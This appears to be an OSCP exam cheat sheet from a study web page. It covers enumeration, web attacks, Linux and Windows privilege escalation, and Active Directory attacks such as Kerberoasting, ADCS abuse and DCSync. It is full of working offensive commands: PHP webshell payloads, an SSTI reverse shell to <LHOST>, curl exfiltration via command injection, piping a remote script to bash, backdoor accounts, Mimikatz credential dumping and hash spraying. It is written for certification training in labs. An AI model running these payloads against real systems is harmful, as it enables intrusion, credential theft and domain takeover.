▸ You're in Beginner mode — concept explanations & diagrams are shown. Tap the 🎓 / ⚡ button (top-right) to switch to Exam Mode for commands-only.
New to OSCP? Read this first. This page is a map, not a script. The OSCP exam never reuses the exact same box, so memorising commands won't pass you — understanding when and why to run them will. Use it like this:
1. Learn the flow, then the commands. Every section follows the same loop: Enumerate → Find a weakness → Get a foothold → Escalate → Loot → Pivot. Internalise that loop and the individual commands become obvious.
2. Enumeration is 80% of the work. Most students fail not because an exploit is hard, but because they missed something during enumeration. When you feel stuck, you almost always need more enumeration, not a more advanced exploit.
3. Replace the placeholders. Anything in <ANGLE_BRACKETS> is a value you fill in (an IP, a username, a hash). Never paste a command blindly.
4. Build the habit before exam day. Practise this exact methodology on practice boxes (HTB, PG Practice, PEN-200 labs) until it's muscle memory. Stuck for >30 min? Jump to Section 16 — When You're Stuck.
The rest of this guide assumes you know the basics. This section builds that foundation from zero — plain English, real-world analogies, and simple diagrams. Once these eight ideas click, every command later will make sense. (Already comfortable? Flip to ⚡ Exam Mode top-right and this whole section disappears.)
Your goal is simple: get the computer to run your commands, then become its most powerful user (root on Linux, SYSTEM on Windows). Every box you'll ever attack follows the same five-step loop. Memorise this loop — it's the spine of the entire exam.
In one line each: Enumerate = find everything that's running. Exploit = abuse a weakness to get your first shell. Escalate = go from normal user to admin. Loot = grab passwords & keys. Pivot = use this machine to reach the next one.
An IP address (like 10.10.10.5) is a computer's address on the network — how you find it. A port is a numbered doorway on that computer. Each open port runs one service (a program waiting for connections). Hacking starts by knocking on every door to see which are open and what's behind them.
A server is a program that waits and answers requests (a website, a database). A client is whoever asks (your browser, a tool). When you open a site, your browser (client) asks the web server on port 80/443, and the server replies. Almost every service you'll attack is a server waiting for input — and bad input is how you break in.
A shell is just a command line on the target machine — once you have one, you can type commands the victim computer will run. Getting that first shell = your foothold. The most common type is a reverse shell: instead of you connecting in (firewalls block that), you trick the target into connecting out to you.
OSCP boxes are either Linux or Windows, and the "god user" is named differently on each. Everything else — the loop — stays the same.
| Linux | Windows | |
|---|---|---|
| Top admin user | root | SYSTEM / Administrator |
| You'll often start via | a web app on port 80 | SMB (445), RDP, or AD creds |
| Where passwords hide | /etc/shadow, config files | SAM, LSASS memory, AD database |
| Privilege-escalation hunt | sudo, SUID, cron | tokens, services, AD misconfigs |
The AD (Active Directory) set is just multiple Windows machines managed by one central server. Own that server and you own them all — covered fully in Section 5.
On Linux, every file says who can read, write, and execute it — split into three groups: the owner, the group, and everyone else. Misconfigured permissions (e.g. a root-owned script you can write to) are a classic way to escalate to root.
Systems never store your real password — they store a hash: a scrambled fingerprint of it. Hashing is one-way: easy to turn "password123" into a hash, practically impossible to turn the hash back into "password123". So "cracking" doesn't reverse anything — you guess millions of passwords, hash each guess, and look for a match.
hashcat.Two routes you'll use constantly: steal a hash → crack it offline (fast, silent); or steal a hash → just log in with the hash itself on Windows (Pass-the-Hash — no cracking needed). Both are in Section 8.
That's the whole foundation. From here, the guide just applies the loop in detail: Section 2 teaches enumeration (finding the doors), Sections 3–4 attack standalone Linux/Windows boxes, Section 5 is the Active Directory chain, and the rest are specialist tools (pivoting, password attacks, shells). Whenever a word confuses you, the Glossary (Section 15) has it in plain English, and if you freeze, Section 16 tells you what to do.
OSCP is a 24-hour hands-on hacking exam, not a multiple-choice test. You get 6 machines: 3 standalone boxes + 1 Active Directory set of 3 machines. You must hack into them and prove it by capturing flag files (local.txt and proof.txt).
You need 70 / 100 points to pass. After the 24-hour hacking window, you get a second 24 hours to write a professional report documenting exactly how you broke in. No report = automatic fail, even with 100 points.
Strategy that passes: do the AD set first (40 guaranteed points if you follow the chain), then pick off standalones. The point breakdown below shows exactly where every point comes from.
Hour 0-0:30 Setup: VPN, loot dirs, /etc/hosts, nmap ALL targets in parallel
Hour 0:30-4 ATTACK AD SET FIRST — 40 pts guaranteed path
├── Enumerate with provided creds (BloodHound, nxc, LDAP)
├── Low-hanging fruit: Kerberoast, AS-REP, descriptions, shares
├── Lateral MS01 → MS02 → DC
└── Screenshot every proof immediately
Hour 4-8 Standalone Box 1 (pick easiest from nmap)
Hour 8-13 Standalone Box 2
Hour 13-18 Standalone Box 3
Hour 18-22 Revisit stuck machines with fresh eyes
Hour 22-23 Final screenshots, verify all proofs, report notes
✓ msfvenom → use freely on ALL machines (payload gen only)
✓ Metasploit → EXACTLY 1 machine — choose wisely
✗ Metasploit → CANNOT use on more than 1 machine
✓ Manual exploits → unlimited
↑ Back to top
Enumeration = finding doors before you try to kick them in. The goal here is to build a complete picture of the target: what ports are open, what software is running, and what versions. Each open port is a potential way in.
The #1 student mistake: running one quick nmap scan, seeing port 80, and tunnel-visioning on the website for 3 hours — while the real foothold was a forgotten anonymous FTP on port 21. Scan everything (all 65,535 ports + UDP top 20) before you commit to any one path.
Golden rule: for every service you find, ask three questions — What version is it? Are there known exploits (searchsploit)? Can I log in with default/blank/anonymous creds?
# Setup workspace
mkdir -p ~/exam/{ad,box1,box2,box3}/{scans,loot,exploits,screenshots}
# Parallel quick scans on ALL targets:
for ip in <MS01_IP> <MS02_IP> <DC_IP> <BOX1_IP> <BOX2_IP> <BOX3_IP>; do
nmap -sV --open -T4 $ip -oN ~/exam/scans/quick_$ip.txt &
done; wait
# Full TCP per machine:
nmap -p- -sV -sC --open -T4 <TARGET_IP> -oN full_tcp.txt
# UDP top 20 — DON'T SKIP (SNMP/TFTP/DNS often critical):
nmap -sU --top-ports 20 <TARGET_IP> -oN udp.txt
| Port | Service | Immediate Action |
|---|---|---|
| 21 | FTP | ftp <IP> (try anonymous:anonymous); check version → searchsploit |
| 22 | SSH | Note version; use creds found later; id_rsa files? |
| 25 | SMTP | smtp-user-enum; check open relay |
| 53 | DNS | dig axfr @<IP> <domain>; dnsrecon zone transfer |
| 80/443 | HTTP/S | → Full web enumeration workflow below |
| 88 | Kerberos | AD confirmed! AS-REP roast immediately |
| 111 | RPC/NFS | showmount -e <IP>; mount + explore |
| 139/445 | SMB | → SMB enumeration section below |
| 161 UDP | SNMP | snmpwalk -c public -v1; onesixtyone brute |
| 389/636 | LDAP | ldapsearch anonymous; AD enumeration |
| 1433 | MSSQL | → Full MSSQL section (Section 6) |
| 3306 | MySQL | mysql -u root -h <IP> (blank/default pass) |
| 3389 | RDP | Check ms17-010, BlueKeep; use creds |
| 5985 | WinRM | evil-winrm -i <IP> -u user -p pass |
| 8080/8443 | Alt-HTTP | Tomcat? Jenkins? Weblogic? check /manager |
# 1. Tech fingerprint
whatweb http://<TARGET_IP> -v
curl -I http://<TARGET_IP>
nikto -h http://<TARGET_IP> -output nikto.txt &
# 2. Directory brute force
gobuster dir -u http://<TARGET_IP> \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt \
-x php,html,txt,asp,aspx,jsp -t 50 -o gobuster.txt
feroxbuster -u http://<TARGET_IP> \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,html,txt,aspx -t 100 --depth 3 -o ferox.txt
# 3. Always manually check:
curl http://<TARGET_IP>/robots.txt
curl http://<TARGET_IP>/.git/HEAD
curl http://<TARGET_IP>/.env
curl http://<TARGET_IP>/backup/
curl http://<TARGET_IP>/config.php
view-source:http://<TARGET_IP>/ # HTML comments!
# 4. VHost enumeration:
gobuster vhost -u http://<DOMAIN> \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain -t 50 -o vhosts.txt
# 5. CMS-specific:
wpscan --url http://<TARGET_IP> --enumerate u,p,t,cb,dbe --plugins-detection aggressive
joomscan -u http://<TARGET_IP>
# 6. Parameter fuzzing:
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-u "http://<TARGET_IP>/page.php?FUZZ=test" -fs 0 -mc 200,301,302,500
# Unauthenticated:
smbclient -L //<TARGET_IP> -N
smbmap -H <TARGET_IP> -u '' -p ''
nxc smb <TARGET_IP> -u '' -p '' --shares
nmap --script smb-vuln* -p 445 <TARGET_IP>
# Authenticated:
nxc smb <TARGET_IP> -u user -p pass --shares --users --groups --pass-pol
smbmap -H <TARGET_IP> -u user -p pass -R
smbclient //<TARGET_IP>/share -U 'user%pass'
# Download all files recursively:
smbclient //<TARGET_IP>/SHARE -U 'user%pass' -c 'recurse ON; prompt OFF; mget *'
nxc smb <TARGET_IP> -u user -p pass -M spider_plus
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt <TARGET_IP>
snmpwalk -c public -v2c <TARGET_IP> 1.3.6.1.2.1.25.4.2.1.2 # Running processes
snmpwalk -c public -v2c <TARGET_IP> 1.3.6.1.2.1.25.6.3.1.2 # Installed software
snmpwalk -c public -v2c <TARGET_IP> 1.3.6.1.4.1.77.1.2.25 # Windows users
snmp-check <TARGET_IP> -c public
↑ Back to top
A "standalone box" is one machine to fully own — get a shell, then escalate to root. Most Linux boxes are cracked through a web app on port 80/443, so that's usually where you start. The web attacks below are the common ways in: find the flaw, get code execution, land a shell.
The loop never changes: enumerate the web app → spot a weakness (file upload, LFI, SQLi, known CVE) → turn it into a reverse shell → then run the PrivEsc checklist further down to become root.
# Basic traversal:
/page.php?file=../../../../etc/passwd
/page.php?file=../../../../etc/shadow
/page.php?file=/proc/self/environ
# PHP wrappers:
/page.php?file=php://filter/convert.base64-encode/resource=config.php
# Decode: echo '<BASE64>' | base64 -d
# Log Poisoning → RCE:
# Step 1: Inject PHP into Apache log via User-Agent:
curl -A '<?php system($_GET["cmd"]); ?>' http://<TARGET_IP>/
# Step 2: Include log file:
/page.php?file=/var/log/apache2/access.log&cmd=id
# SSH log poisoning:
ssh '<?php system($_GET["cmd"]); ?>'@<TARGET_IP>
/page.php?file=/var/log/auth.log&cmd=whoami
# Manual test: ' OR '1'='1'-- -
# UNION read:
' UNION SELECT 1,load_file('/etc/passwd'),3-- -
# File write:
' UNION SELECT 1,"<?php system($_GET['cmd']); ?>",3 INTO OUTFILE '/var/www/html/cmd.php'-- -
# sqlmap:
sqlmap -u "http://<IP>/login.php" --data="user=admin&pass=x" --level=5 --risk=3 --dbs
sqlmap -u "http://<IP>/item?id=1" --os-shell
# Detection probes:
{{7*7}} → 49 = Jinja2/Twig
${7*7} → 49 = FreeMarker/Mako
<%= 7*7 %> → 49 = ERB (Ruby)
# Jinja2 RCE:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/<LHOST>/4444 0>&1"').read()}}
# Twig RCE:
{{['id']|filter('system')}}
# Requires: allow_url_include=On in php.ini
echo '<?php system($_GET["cmd"]); ?>' > shell.txt
python3 -m http.server 80
/page.php?file=http://<LHOST>/shell.txt&cmd=id
# Detection (3s delay = vulnerable):
http://target/page.php?id=1' AND IF(1=1,sleep(3),'false')-- -
sqlmap -u "http://<IP>/page.php?id=1" --technique=T --level=3 --dbs
curl http://<TARGET>/.git/HEAD # confirm exposed
git-dumper http://<TARGET>/.git ./repo
cd repo
git log --oneline
git show <COMMIT_HASH> # deleted creds often here
git diff HEAD~1 HEAD
exiftool *.jpg *.docx *.pdf 2>/dev/null | grep -i "author\|creator\|owner"
# Username found? Try as password on ALL services!
zip2john protected.zip > zip.hash
john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
office2john file.xlsx > office.hash
john office.hash --wordlist=rockyou.txt
binwalk -e suspicious_file # extract embedded files
# Check:
SELECT user, file_priv FROM mysql.user;
SHOW variables LIKE 'plugin_dir';
# Compile malicious UDF .so → upload → CREATE FUNCTION → system()
# If MySQL local-only → SSH tunnel first:
ssh -L 3306:127.0.0.1:3306 user@<TARGET_IP>
mysql -u root -h 127.0.0.1 -P 3306 -p
# Test chars: ; | || && & ` $() \n %0a
ping=127.0.0.1; whoami
ping=127.0.0.1|whoami
ping=127.0.0.1`whoami`
# URL encoded semicolon: %3B
# Blind (OOB):
ping=127.0.0.1; curl http://<LHOST>/?x=$(id|base64)
# 1. MIME: Change Content-Type to image/jpeg
# 2. Magic bytes: GIF89a prepend
# 3. Double ext: shell.php.jpg, shell.php%00.jpg
# 4. Case: shell.pHp, shell.PHP
# 5. Alt ext: .php3 .php4 .php5 .phtml .phar .shtml
# 6. Null byte (older): shell.php%00.gif
Privilege escalation = you're already inside as a normal user; now you want to become root. You're hunting for one mistake the admin made. The four most common on OSCP boxes, in order of frequency:
1. Sudo rights — sudo -l shows commands you can run as root. Look each one up on GTFOBins. 2. SUID binaries — programs that run as their owner (often root); again, check GTFOBins. 3. Cron jobs — scripts root runs on a schedule that you can edit. 4. Credentials lying around — config files, .bash_history, database passwords reused for the root account.
Always run an automated enumerator first (linpeas.sh), but never only rely on it — read the output and verify the RED/YELLOW findings manually. linpeas finds clues; you connect them.
# STEP 1: Run linpeas immediately
curl http://<LHOST>/linpeas.sh | bash 2>/dev/null | tee /tmp/lp.out
# Look for RED/YELLOW highlights first
# ── Context ──────────────────────────────────────────────────
whoami && id && hostname
uname -a && cat /etc/os-release
env | grep -i "pass\|key\|secret\|token"
cat ~/.bash_history; cat /home/*/.bash_history 2>/dev/null
# ── Sudo ─────────────────────────────────────────────────────
sudo -l
# NOPASSWD → check GTFObins immediately!
# Common: sudo find . -exec /bin/bash \; -p
# sudo python3 -c 'import os; os.system("/bin/bash")'
# sudo vim → :!/bin/bash
# ── SUID ─────────────────────────────────────────────────────
find / -perm -4000 -type f 2>/dev/null | xargs ls -la
# Each result → GTFObins
# ── Capabilities ─────────────────────────────────────────────
getcap -r / 2>/dev/null
# cap_setuid+ep → python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
# ── Cron Jobs ────────────────────────────────────────────────
cat /etc/crontab; ls -la /etc/cron.d/ /etc/cron.hourly/
# Writable script run as root → append revshell
# Wildcard (tar/rsync) → wildcard injection
# ── Writable /etc/passwd ─────────────────────────────────────
openssl passwd -1 haxpass
echo 'hax:$1$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
su hax
# ── NFS no_root_squash ───────────────────────────────────────
cat /etc/exports
# If: /share *(rw,no_root_squash) →
# On ATTACKER (as root):
mkdir /mnt/nfs && mount -t nfs <TARGET_IP>:/share /mnt/nfs
cp /bin/bash /mnt/nfs/ && chmod +s /mnt/nfs/bash
# On VICTIM:
/tmp/bash -p # → ROOT
# ── Docker group ─────────────────────────────────────────────
id | grep docker
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# ── Internal services ────────────────────────────────────────
ss -tlnp # local-only → port forward → exploit
# EternalBlue MS17-010:
nmap --script smb-vuln-ms17-010 -p 445 <TARGET_IP>
# Tomcat Manager WAR deploy:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST> LPORT=4444 -f war -o shell.war
curl -u admin:admin -T shell.war "http://<IP>:8080/manager/text/deploy?path=/shell"
curl http://<IP>:8080/shell/
# WebDAV:
davtest -url http://<TARGET_IP>
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=4444 -f aspx -o shell.aspx
curl -T shell.aspx http://<TARGET_IP>/uploads/shell.aspx
# WinRM:
evil-winrm -i <TARGET_IP> -u Administrator -p 'Password123'
evil-winrm -i <TARGET_IP> -u Administrator -H <NTLM_HASH>
Same idea as Linux, different doors. You're a normal Windows user hunting for a path to SYSTEM (Windows' equivalent of root). Run winPEAS first, then check these in order:
1. Token privileges — run whoami /priv. If you see SeImpersonatePrivilege, you almost certainly win with a "Potato" exploit. 2. Service misconfigs — unquoted service paths or services you can modify let you run code as SYSTEM. 3. Stored credentials — unattend.xml, registry autologon, saved PowerShell history, web.config. 4. Missing patches — old kernels are vulnerable to known exploits.
First thing to type every time: whoami /priv and whoami /groups. They often hand you the answer in seconds.
| Privilege | Exploit Path |
|---|---|
| SeImpersonatePrivilege | GodPotato / PrintSpoofer / JuicyPotatoNG → SYSTEM |
| SeAssignPrimaryToken | GodPotato / JuicyPotato → SYSTEM |
| SeBackupPrivilege | Read SAM/NTDS → dump hashes |
| SeDebugPrivilege | Dump LSASS → hashes |
| SeLoadDriverPrivilege | Load malicious driver → SYSTEM |
# GodPotato (SeImpersonate):
.\GodPotato-NET4.exe -cmd "cmd /c net user hax Password123! /add && net localgroup administrators hax /add"
# PrintSpoofer:
.\PrintSpoofer64.exe -c "C:\Windows\Temp\nc.exe <LHOST> 4444 -e cmd"
# AlwaysInstallElevated (check BOTH keys = 1):
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=4444 -f msi -o evil.msi
msiexec /quiet /qn /i C:\Temp\evil.msi
# Autologon creds in registry:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# PowerShell history (GOLD MINE):
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Stored credentials:
cmdkey /list
runas /savecred /user:Administrator "C:\Temp\nc.exe <LHOST> 4444 -e cmd" # needs ncat/ncat build
# Unquoted service paths:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\"
# Mimikatz:
privilege::debug
sekurlsa::logonpasswords
lsadump::sam
lsadump::lsa /patch
# Remote SAM dump:
secretsdump.py <DOMAIN>/<USER>:<PASS>@<TARGET_IP>
nxc smb <TARGET_IP> -u user -p pass --sam
nxc smb <TARGET_IP> -u user -p pass -M lsassy
↑ Back to top
stephanie:Password123@corp.local). You are already a low-priv domain user. Enumerate AD immediately.
Active Directory is the central "user database" for a Windows company network. One server — the Domain Controller (DC) — holds every user, computer, password hash, and permission. Own the DC and you own the entire network.
Why the chain works: companies almost never give a normal user direct admin on the DC. So you climb sideways and upward: start as a low-priv user → enumerate to find a misconfiguration or a second set of creds → move to another machine (lateral movement) → repeat until you find a path to Domain Admin. BloodHound literally draws this path for you.
Key terms you'll see below: Kerberoasting and AS-REP Roasting = stealing crackable password hashes from the way Windows logins work. Pass-the-Hash = logging in with a stolen hash without ever knowing the plaintext password. DCSync = impersonating a DC to dump everyone's hashes. Full definitions are in the Glossary (Section 15).
Kerberos is how Windows logs you in without passing your password around. Picture a cinema: you show ID once at the entrance and get a wristband (a ticket). After that, every screen lets you in by checking the wristband — you never show ID again.
Why hackers care: some of those tickets are encrypted with a user's password hash. If you can request such a ticket and take it offline, you can keep guessing passwords until one decrypts it. That's exactly what Kerberoasting and AS-REP Roasting (below) do — you're not breaking Kerberos, you're abusing a normal feature that hands you crackable material.
The AD set is 3 chained machines worth 40 points total — the highest-value and most predictable part of the exam. Points are banked as you progress: MS01 local.txt = 10, MS02 local.txt = 10, DC proof.txt = 20. So even if you don't fully own the DC, reaching MS01 and MS02 still banks 20 points.
The one insight that makes AD click: it's a chain, not three separate boxes. The credentials and hashes you loot on one machine are the keys to the next. Every phase is the same rhythm — enumerate → find a quick win → get a foothold → loot creds → reuse them to move forward → finally reach Domain Admin and own the DC.
BloodHound collects every user, group, and permission in the domain and draws it as a graph — then you click "Shortest Path to Domain Admins" and it literally shows you the route. Run it first, every time. nxc (NetExec) quickly lists shares, users, and the password policy. ldapsearch reads the AD directory directly — and admins infamously leave passwords sitting in user "description" fields, one of the most common OSCP quick wins.
# BloodHound — FIRST THING TO RUN:
bloodhound-python -u stephanie -p 'Password123' \
-d corp.local -ns 192.168.x.100 -c All --zip
# Import ZIP → run queries:
# "Find Shortest Paths to Domain Admins"
# "Find All Kerberoastable Users"
# "Find AS-REP Roastable Users"
# "Computers with Unconstrained Delegation"
# "Find Principals with DCSync Rights"
# nxc domain recon:
nxc smb 192.168.x.100 -u stephanie -p 'Password123' \
--shares --users --groups --pass-pol
# Passwords in description field (VERY COMMON in OSCP):
ldapsearch -x -H ldap://192.168.x.100 \
-D "stephanie@corp.local" -w 'Password123' \
-b "DC=corp,DC=local" \
"(&(objectClass=user)(description=*))" sAMAccountName description
Some accounts have "Kerberos pre-authentication" switched off. For those, you can ask the DC for a login ticket without proving who you are first — and that ticket is encrypted with the account's password hash. Grab it, crack it offline with hashcat, and you have a real password. Prerequisite: an account with pre-auth disabled (BloodHound → "Find AS-REP Roastable Users"). It can even work with no creds if you can guess valid usernames.
GetNPUsers.py corp.local/stephanie:'Password123' \
-dc-ip 192.168.x.100 -request -format hashcat -outputfile asrep.txt
# Windows (Rubeus):
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
# Crack:
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
Service accounts (any account with an "SPN") can be targeted by any logged-in user. You request a service ticket for them, and part of that ticket is encrypted with the service account's password — so you crack it offline. These accounts often have weak, never-rotated passwords, making this one of the most reliable AD wins. Prerequisite: valid domain creds (you have them) + an SPN account (BloodHound → "Find Kerberoastable Users"). Add best64.rule to hashcat for tougher passwords.
GetUserSPNs.py corp.local/stephanie:'Password123' \
-dc-ip 192.168.x.100 -request -outputfile kerb.txt
# Windows (Rubeus):
.\Rubeus.exe kerberoast /format:hashcat /outfile:kerb.txt
# Crack:
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerb.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Older admins set local passwords through "Group Policy Preferences" (GPP), and Windows stored them — encrypted — in a share that every domain user can read (SYSVOL). The fatal flaw: Microsoft once published the decryption key, so gpp-decrypt instantly reverses them into plaintext. If GPP passwords exist, they're free credentials. Always check.
nxc smb 192.168.x.100 -u stephanie -p 'Password123' -M gpp_password
nxc smb 192.168.x.100 -u stephanie -p 'Password123' -M gpp_autologin
gpp-decrypt <CPASSWORD_VALUE>
ADCS is the company's certificate authority — the system that issues digital ID cards (certificates) that can be used to log in. If a certificate "template" is misconfigured, a normal user can request a certificate that effectively says "I am the Administrator," then log in as Administrator with it. That's a direct jump from low-priv user to Domain Admin, which is why ESC1–ESC8 are now exam favourites.
The flow is always the same: certipy find -vulnerable tells you if a template is exploitable → request a cert impersonating Administrator → certipy auth turns that cert into Administrator's NTLM hash → Pass-the-Hash to own the domain. ESC1 = you're allowed to set the cert's name (most common). ESC8 = relay the DC itself into requesting a cert for you.
# Enumerate vulnerable templates (run immediately with provided creds):
certipy find -u 'stephanie@corp.local' -p 'Password123' \
-dc-ip 192.168.x.100 -vulnerable -stdout
# Also save BloodHound data:
certipy find -u 'stephanie@corp.local' -p 'Password123' \
-dc-ip 192.168.x.100 -bloodhound
# ── ESC1 — User can specify SAN (most common) ─────────────────
# Conditions: Enrollee Supplies Subject=True + Client Auth + low-priv enrollment
certipy req -u 'stephanie@corp.local' -p 'Password123' \
-ca corp-CA -template VulnerableTemplate \
-upn Administrator@corp.local -dc-ip 192.168.x.100
# Authenticate with cert → get NTLM hash:
certipy auth -pfx administrator.pfx -dc-ip 192.168.x.100
# → Administrator NTLM hash → PTH → Domain Admin!
# ── ESC8 — NTLM Relay to ADCS HTTP endpoint ──────────────────
# Setup certipy relay:
certipy relay -target http://<ADCS_IP>/certsrv/certfnsh.asp \
-template DomainController
# Trigger DC authentication (PetitPotam):
python3 PetitPotam.py -u stephanie -p 'Password123' \
<LHOST> <DC_IP>
# Gets: DC machine certificate → authenticate as DC → DCSync everything
# ── ESC4 — Write access to template ──────────────────────────
# BloodHound shows WriteProperty on certificate template
certipy template -u 'stephanie@corp.local' -p 'Password123' \
-template VulnTemplate -save-old # backup original
certipy template -u 'stephanie@corp.local' -p 'Password123' \
-template VulnTemplate -configuration VulnTemplate.json
# Now request as ESC1
# ── After getting cert → auth → hash → DA ────────────────────
certipy auth -pfx administrator.pfx -dc-ip 192.168.x.100
# Hash from output → PTH:
psexec.py corp.local/Administrator@<DC_IP> -hashes :<NTLM_HASH>
secretsdump.py corp.local/Administrator@<DC_IP> -hashes :<NTLM_HASH>
If you have "GenericWrite" over a user or computer (BloodHound shows this as an edge), you can quietly add your own certificate-style key to that account, then use it to log in as them — without ever knowing or changing their password. It's a stealthy takeover of any account you have write access to.
# Requires: GenericWrite on target user/computer
# Check in BloodHound: GenericWrite edges on users or computers
# Add shadow credential to target:
pywhisker.py -d corp.local -u stephanie -p 'Password123' \
--target targetuser --action add --dc-ip 192.168.x.100
# Gets: pfx file + password
# Authenticate with pfx → get NTLM hash:
certipy auth -pfx targetuser.pfx -dc-ip 192.168.x.100
# NTLM hash → PTH or crack → lateral movement
# Enumerate users first via RID brute (no creds):
lookupsid.py corp.local/guest@192.168.x.100 -no-pass 2>/dev/null | grep "SidTypeUser"
# Or kerbrute:
kerbrute userenum -d corp.local --dc 192.168.x.100 \
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
# Then AS-REP roast without creds:
GetNPUsers.py corp.local/ -no-pass -usersfile domain_users.txt \
-dc-ip 192.168.x.100 -format hashcat
hashcat -m 18200 asrep.txt rockyou.txt
# Check description AND info AND comment fields (all can have passwords):
ldapsearch -x -H ldap://192.168.x.100 \
-D "stephanie@corp.local" -w 'Password123' \
-b "DC=corp,DC=local" \
"(objectClass=user)" sAMAccountName description info comment
# Also check computer accounts for descriptions:
ldapsearch -x -H ldap://192.168.x.100 \
-D "stephanie@corp.local" -w 'Password123' \
-b "DC=corp,DC=local" \
"(objectClass=computer)" name description
# Any creds found → spray everything:
nxc smb 192.168.x.0/24 -u user -p pass --continue-on-success
nxc winrm 192.168.x.0/24 -u user -p pass --continue-on-success
nxc mssql 192.168.x.0/24 -u user -p pass --continue-on-success
nxc rdp 192.168.x.0/24 -u user -p pass --continue-on-success
nxc ssh 192.168.x.0/24 -u user -p pass --continue-on-success
# After getting any hash → spray hash across subnet:
nxc smb 192.168.x.0/24 -u Administrator -H <NTLM_HASH> \
--local-auth --continue-on-success | grep "+"
Remember the Kerberos "wristband" ticket? If you land on a machine where a privileged user left a ticket sitting in memory, you can steal it and reuse it to access whatever they could — no password needed. triage/dump grab the tickets; ptt ("pass the ticket") injects one into your session so you effectively become that user.
# Windows (Rubeus):
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:<LUID> /service:krbtgt /nowrap
.\Rubeus.exe ptt /ticket:<BASE64_TICKET>
dir \\<TARGET_FQDN>\C$
# Linux:
export KRB5CCNAME=/tmp/ticket.ccache
psexec.py -k -no-pass corp.local/administrator@<TARGET_FQDN>
The bridge between the two login worlds. If you hold an NTLM hash but the target only accepts Kerberos, Overpass-the-Hash converts that hash into a fresh Kerberos ticket (TGT) so you can use ticket-based tools to move laterally. Reach for it when plain Pass-the-Hash is blocked but Kerberos is allowed.
# NTLM hash → Kerberos TGT:
.\Rubeus.exe asktgt /user:user /rc4:<NTLM_HASH> /domain:corp.local /ptt
# Linux:
getTGT.py corp.local/user -hashes :<NTLM_HASH> -dc-ip 192.168.x.100
export KRB5CCNAME=user.ccache
psexec.py -k -no-pass corp.local/user@<TARGET_FQDN>
On Windows you often don't need to crack a hash — you can log in with the hash itself. Once you've dumped an Administrator NTLM hash, feed it to psexec / wmiexec / evil-winrm to get a shell on any machine that account is admin on. Always spray the hash across the whole subnet first (nxc ... --continue-on-success) to find every box it unlocks.
# Verify hash:
nxc smb <TARGET_IP> -u Administrator -H <NTLM_HASH> --local-auth
# Spray hash across subnet:
nxc smb 10.10.10.0/24 -u Administrator -H <NTLM_HASH> \
--local-auth --continue-on-success | grep "+"
# Get shell:
psexec.py corp.local/Administrator@<TARGET_IP> -hashes :<NTLM_HASH>
wmiexec.py corp.local/Administrator@<TARGET_IP> -hashes :<NTLM_HASH>
evil-winrm -i <TARGET_IP> -u Administrator -H <NTLM_HASH>
Domain Controllers replicate their password database to each other. DCSync abuses that: if your account has replication rights (you earn them via ACL abuse, ADCS, or after reaching DA), you pretend to be a DC and politely ask the real DC for everyone's password hashes — including krbtgt and Administrator. It's the standard way to "dump the whole domain" without touching the DC's disk. Grabbing krbtgt here also sets up the Golden Ticket below.
secretsdump.py corp.local/user:'pass'@192.168.x.100 -just-dc
secretsdump.py corp.local/user:'pass'@192.168.x.100 -just-dc-user krbtgt
secretsdump.py corp.local/user:'pass'@192.168.x.100 -just-dc-user Administrator
# Mimikatz:
lsadump::dcsync /user:krbtgt /domain:corp.local
lsadump::dcsync /all /domain:corp.local
An ACL is the list of "who is allowed to do what" to an AD object. Admins misconfigure these constantly, and BloodHound draws each one as an arrow between accounts. Each right is its own attack: GenericAll = full control (reset their password, or add yourself to a group). WriteDACL = you can grant yourself more rights, including DCSync. GenericWrite = enough for Shadow Credentials or targeted Kerberoasting. GenericAll on a computer = set up RBCD to impersonate its admin. The commands below map one-to-one to those BloodHound edges.
# GenericAll on User → force password reset:
Set-DomainUserPassword -Identity targetuser \
-AccountPassword (ConvertTo-SecureString 'Hacked123!' -AsPlainText -Force)
# GenericAll on Group → add to Domain Admins:
Add-DomainGroupMember -Identity "Domain Admins" -Members stephanie
# WriteDACL on Domain → grant DCSync rights:
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \
-PrincipalIdentity stephanie -Rights DCSync
# → now run secretsdump
# GenericAll on Computer → RBCD Attack:
addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'Attack123!' \
'corp.local/stephanie:Password123' -dc-ip 192.168.x.100
rbcd.py -delegate-to <TARGET_COMPUTER>$ -delegate-from ATTACKPC$ \
-dc-ip 192.168.x.100 -action write 'corp.local/stephanie:Password123'
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
'corp.local/ATTACKPC$:Attack123!' -dc-ip 192.168.x.100
export KRB5CCNAME=Administrator@cifs_<TARGET_FQDN>@CORP.LOCAL.ccache
psexec.py -k -no-pass corp.local/Administrator@<TARGET_FQDN>
